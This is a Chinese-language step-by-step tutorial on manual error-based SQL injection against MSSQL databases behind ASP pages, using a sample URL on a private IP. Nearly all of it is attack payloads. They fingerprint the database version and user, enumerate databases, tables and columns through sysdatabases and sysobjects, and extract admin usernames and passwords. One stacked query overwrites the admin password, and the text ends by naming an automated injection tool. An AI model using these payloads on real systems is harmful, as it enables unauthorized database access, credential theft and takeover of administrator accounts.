手工注入MSSQL
越高級的數(shù)據(jù)庫越比較好注入,因?yàn)橹С值暮瘮?shù)多,字典表里面也能讀到庫名,不論你起多么不常見的庫名,都能正常讀到
注入步驟
1.判斷數(shù)據(jù)庫類型
http://192.168.2.8/list.asp?id=1
后面加'構(gòu)造報(bào)錯,看返回的信息,從而判斷數(shù)據(jù)庫名,數(shù)據(jù)庫表名、數(shù)據(jù)庫用戶等
http://192.168.2.8/list.asp?id=1 and user>0
and user>0 #用戶名是字符類型,但是和int類型0是不能直接做比較的,因此需要進(jìn)行轉(zhuǎn)換,但是在轉(zhuǎn)換過程中發(fā)生了錯誤,因此就會報(bào)錯
2.判斷注入點(diǎn):and 1=1;and 1=2
3.判斷數(shù)據(jù)庫的版本號
and @@version>0 #有時(shí)候也會報(bào)操作系統(tǒng)版本
nt5.0:win2000server
nt5.2:win2003server
4.查看當(dāng)前連接數(shù)據(jù)庫的用戶名
http://192.168.2.8/list.asp?id=1 and user>0
and user>0 dbo=sa dbo就是mssql管理員
5.查看當(dāng)前連接的數(shù)據(jù)庫
http://192.168.2.8/list.asp?id=1 and db_name()>0
and db_name()>0 #可以獲得當(dāng)前連接數(shù)據(jù)庫的名字
6.查看其他數(shù)據(jù)庫
庫名.所有者.表名
and (select name from master.dbo.sysdatabases where dbid=6) > 1,dbid=6 一直取6,7,8,9,...直到?jīng)]有返回時(shí),說明沒有庫了,dbid為1,2,3,4,5是系統(tǒng)自帶的,后面的取值才是用戶自己取的(還是利用數(shù)據(jù)庫名字和整數(shù)做比較導(dǎo)致報(bào)錯,直接爆出數(shù)據(jù)庫名)
7.判斷表名:
and (select top 1 name from sysobjects where xtype='u' and status>0 )>0
表示猜用戶建立的表,xtype='u'表示用戶建立的表
8.判斷其它表:
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in ('xxx','xx'))>0
'xxx'表示在第七步猜出的表名,猜一個就在里面寫一個
and (select top 1 name from sysobjects where xtype='u' and status>0 and name not in ('Aclass','admin'))>0
9.判斷列:admin(username,password)
and (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0
猜第二列就是obiect_id('admin'),2
猜第三列就是obiect_id('admin'),3
依次類推
10.and (select username from admin)>0,可以直接爆出用戶名和密碼
and (select password from admin)>0
11.可以更改用戶名密碼和口令,建議將密碼的首字母改成英文的
;update article.dbo.admin set password='zllobe' where username ='admin';--
注意首先找到存儲用戶名密碼的庫名和表名,如上面的書寫格式就是article庫dbo用戶admin表
--:兩個短杠是注釋符
php中的注釋符是:#
oracle中的注釋符是:/**/
12.自動化工具 pangolin穿山甲,首先需要找到注入點(diǎn)